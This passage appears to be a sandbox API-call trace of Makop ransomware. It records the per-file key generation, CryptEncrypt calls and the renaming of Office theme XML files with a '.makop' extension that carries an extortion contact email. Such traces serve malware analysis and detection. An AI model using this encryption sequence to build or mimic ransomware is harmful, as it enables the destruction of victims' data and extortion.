CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.767] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.767] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.767] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.768] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.768] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.768] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.768] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.768] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c6, lpOverlapped=0x0) returned 1 [0158.768] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.769] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.769] SetEndOfFile (hFile=0xf0) returned 1 [0158.776] GetProcessHeap () returned 0x48a0000 [0158.776] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.777] GetProcessHeap () returned 0x48a0000 [0158.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.777] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0158.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.778] CloseHandle (hObject=0xf0) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0158.779] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml") returned 77 [0158.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.780] GetProcessHeap () returned 0x48a0000 [0158.780] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.780] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0158.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.785] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.785] GetProcessHeap () returned 0x48a0000 [0158.785] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.785] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.786] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.786] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.786] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.786] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.787] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.787] SetEndOfFile (hFile=0xf0) returned 1 [0158.793] GetProcessHeap () returned 0x48a0000 [0158.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.794] GetProcessHeap () returned 0x48a0000 [0158.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.794] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0158.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.796] CloseHandle (hObject=0xf0) returned 1 [0158.796] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0158.796] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml") returned 80 [0158.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.797] GetProcessHeap () returned 0x48a0000 [0158.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.797] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0158.802] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.802] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.802] GetProcessHeap () returned 0x48a0000 [0158.802] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.802] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.803] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c5, lpOverlapped=0x0) returned 1 [0158.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.804] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.804] SetEndOfFile (hFile=0xf0) returned 1 [0158.811] GetProcessHeap () returned 0x48a0000 [0158.811] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.811] GetProcessHeap () returned 0x48a0000 [0158.811] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.811] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0158.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.813] CloseHandle (hObject=0xf0) returned 1 [0158.813] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0158.813] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml") returned 78 [0158.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.814] GetProcessHeap () returned 0x48a0000 [0158.814] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.814] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0158.819] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.819] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.819] GetProcessHeap () returned 0x48a0000 [0158.819] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.819] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.819] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.819] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.819] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.819] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.819] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.820] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.820] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.820] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.820] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.820] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.820] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c3, lpOverlapped=0x0) returned 1 [0158.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.821] SetEndOfFile (hFile=0xf0) returned 1 [0158.828] GetProcessHeap () returned 0x48a0000 [0158.828] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.828] GetProcessHeap () returned 0x48a0000 [0158.828] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.828] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0158.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.830] CloseHandle (hObject=0xf0) returned 1 [0158.830] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0158.830] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml") returned 77 [0158.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.832] GetProcessHeap () returned 0x48a0000 [0158.832] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.832] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 